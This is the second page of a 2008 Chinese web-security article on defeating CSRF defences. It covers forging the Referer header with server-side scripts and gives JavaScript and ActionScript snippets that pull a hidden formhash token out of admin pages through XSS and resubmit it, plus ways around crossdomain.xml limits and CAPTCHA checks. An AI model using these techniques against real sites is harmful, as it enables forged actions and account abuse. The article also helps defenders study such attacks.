WEB开发网
开发学院网络安全安全技术 旁注保护跨站脚本请求欺骗(CSRF) 阅读

旁注保护跨站脚本请求欺骗(CSRF)

 2008-01-17 13:11:43 来源:WEB开发网   
核心提示: 2.服务端脚本:基本上所有的服务端语言都有发http包的功能,如php的fsockopen(),asp的xmlhttp等等,旁注保护跨站脚本请求欺骗(CSRF)(2),所以可以通过外面服务端脚本来伪造一个Referer[其实就是类似于nc] 这个一般只对于单纯的限制Referer而且没有身

2.服务端脚本:

基本上所有的服务端语言都有发http包的功能,如php的fsockopen(),asp的xmlhttp等等,所以可以通过外面服务端脚本来伪造一个Referer[其实就是类似于nc] 这个一般只对于单纯的限制Referer而且没有身份验证的[因为你cookie没办法传递],所以这个基本可以YY的.

0x02.Hidden value

之所以用'Hidden value'做标题,是因为PLAYHACK文中写 '0x03a: Cookies Hashing' 和'0x04: One-Time Tokens'里产生的hash都是通过hidden value来传递.但是我们一样可以通过一些手段得到这个hash.

0x02a.利用xss执行js-xmlhttp在xmlhttp.responseText里得到hash:

xmlhttp.open("GET", siteurl+"admincp.php?action=members", false);
xmlhttp.send();
var echo = xmlhttp.responseText;
var reg = /<input type="hidden" name="formhash" value="([wd]+)">/i;
var arr=reg.exec(echo);
var formhash=arr[1];

0x02b.利用as里的xml.onData/LoadVars等得到hash:

import RegExp;
var xml:XML = new XML();
xml.onData = function(s) {
  tb1.text = getFirstMatch(new RegExp("<input type="hidden" name="formhash" id="formhash" value="(w+)">", "ig"), s, 1);
}
xml.load(url+"post.htm");
function getFirstMatch(re, s, i) {
  var m = null;
  if ((m = re.exec(s)) != null) {
    return m[i];
  }
}

得到hash后,如果原来app里用的'Request变量'那么我们可以直接通过xml.load等get提交我们构造的变量,如果是post我们可以通过LoadVars等提交:

   var_l3=newLoadVars();
  _l3.decode(unescape("formhash="+hash));
  _l3.send(url,"","POST");

但是需要加载crossdomain.xml[而且只可以提交到crossdomain.xml里设置的domain].如果没有crossdomain.xml或者crossdomain.xml里设置不符合我们的要求,我们可以把crossdomain.xml改为任意后缀然后通过System.security.loadPolicyFile()来加载.

0x03.CAPTCHA Image

也就是我们经常看到的图片验证码,如果抛开用户感觉等不谈,就安全上应该是比较安全的防止crsf的方法,目前还没有什么通用的破解方法,现在有很多通过分析图片格式来得到验证码的,但是这些都是基于gui的,没办法利用到crsf上来.

要突破CAPTCHA Image只有具体问题具体分析了,通过分析原代码找到app的一些逻辑错误/算法问题来想办法绕过.比如有的图片验证码是根据cookie来计算判断的,那么我可以通过xss得到cookie来'算'出这个验证码,又如验证码保存到session没有清空,可以暴力这个验证码[详细见lake2的文章:轻轻绕过你的验证码]等等.

小结:

在上面的文字里,其实主要介绍的一个思路是通过http的请求来伪造提交的数据,然后通过分析这个数据得到你要的东西.按这个思路你可以不须拘泥于js/as等脚本,还有很多脚本/语言可以实现如java/jvm? :)

上一页  1 2 

Tags:旁注 保护 脚本

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接